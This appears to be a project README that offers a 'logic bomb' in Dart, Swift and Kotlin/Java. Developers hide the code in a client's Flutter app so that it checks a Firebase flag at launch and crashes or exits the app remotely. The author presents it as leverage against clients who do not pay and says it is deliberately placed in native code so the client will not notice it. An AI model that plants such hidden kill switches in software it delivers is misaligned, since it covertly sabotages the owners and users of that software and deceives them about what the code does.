Logic Bomb

Control app crashing using Firebase or REST API ( Dart, Kotlin and Swift ).

Hom many times did you work hard and didn’t get paid ?

This code was created to protect myself from clients. A client may come to you wants to complete a project, when you upload the app on stores, he disappears and not pays for you.

Do not abuse this code.

I am not responsible for any misuse of this code.

Code is written in :

Dart
Swift
Kotlin

I made it in native to make the code more invisible if he got the source code.

Implementation Time

Dart

in your main file import

import 'package:dio/dio.dart';
import 'dart:io';

in main file paste this function

void plant() async {
  try {
    final result = await Dio().get('$HERE_IS_YOUR_FIREBASE_PROJECT_LINK/app.json');
    final data = result.data;
    if (Platform.isAndroid && !data['android']) {
      throw Exception();
    } else if (Platform.isIOS && !data['ios']) {
      throw Exception();
    }
  } catch (_) {
    exit(0);
  }
}

in main function plant your bomb

void main() {
  plant();
  runApp(MyApp());
}

Swift

ios -> Runner -> AppDelegate.swift then put this code

import UIKit
import Flutter

@UIApplicationMain
@objc class AppDelegate: FlutterAppDelegate {
 override func application(
   _ application: UIApplication,
   didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?
 ) -> Bool {
   GeneratedPluginRegistrant.register(with: self)
   plant()
   return super.application(application, didFinishLaunchingWithOptions: launchOptions)
 }

 func plant() {
         let api = "$HERE_IS_YOUR_FIREBASE_PROJECT_LINK/app.json"
         let url = URL(string: api)!
         do {
             let data = try Data(contentsOf: url)
             let json = try JSONSerialization.jsonObject(with: data) as! [String:Any]
             if (json["ios"] as! Int == 0) {
                  fatalError()
             }
         } catch {
             fatalError()
         }
     }

}

Android

in android -> app -> src -> main -> AndroidManifest.xml put Internet Permission

    <uses-permission android:name="android.permission.INTERNET" />

then go to android -> app -> src -> main -> kotlin beside MainActivity create new JavaClass Named Bomb and paste this code inside

package $HERE_IS_YOUR_APP_PACKAGE_NAME;

import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;

public class Bomb {

    void plant() throws IOException {
        Thread thread = new Thread(new Runnable() {

            @Override
            public void run() {
                try {
                    URL url = new URL("$HERE_IS_YOUR_FIREBASE_PROJECT_LINK/app.json");
                    HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
                    urlConnection.setRequestMethod("GET");
                    BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
                    StringBuffer sb = new StringBuffer();
                    String line;
                    while ((line = in.readLine()) != null) {
                        sb.append(line);
                    }
                    in.close();
                    if (sb.toString().contains("\"android\":false")) {
                        throw new RuntimeException("");
                    }
                } catch (Exception e) {
                    throw new RuntimeException("");
                }
            }
        });

        thread.start();
    }

}

and in MainActivity file paste this code

package $HERE_IS_YOUR_APP_PACKAGE_NAME

import io.flutter.embedding.android.FlutterActivity
import io.flutter.embedding.engine.FlutterEngine

class MainActivity: FlutterActivity() {
    override fun configureFlutterEngine(flutterEngine: FlutterEngine) {
        super.configureFlutterEngine(flutterEngine)
        Bomb().plant()
    }

}

Firebase Setup :

To get your firebase project link follow these Screenshots and don’t miss any step OR it won’t work.

1

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3

4

5

6

7

8 Example :

https://logic-bomb-896dd-default-rtdb.firebaseio.com/app.json

GitHub

View Github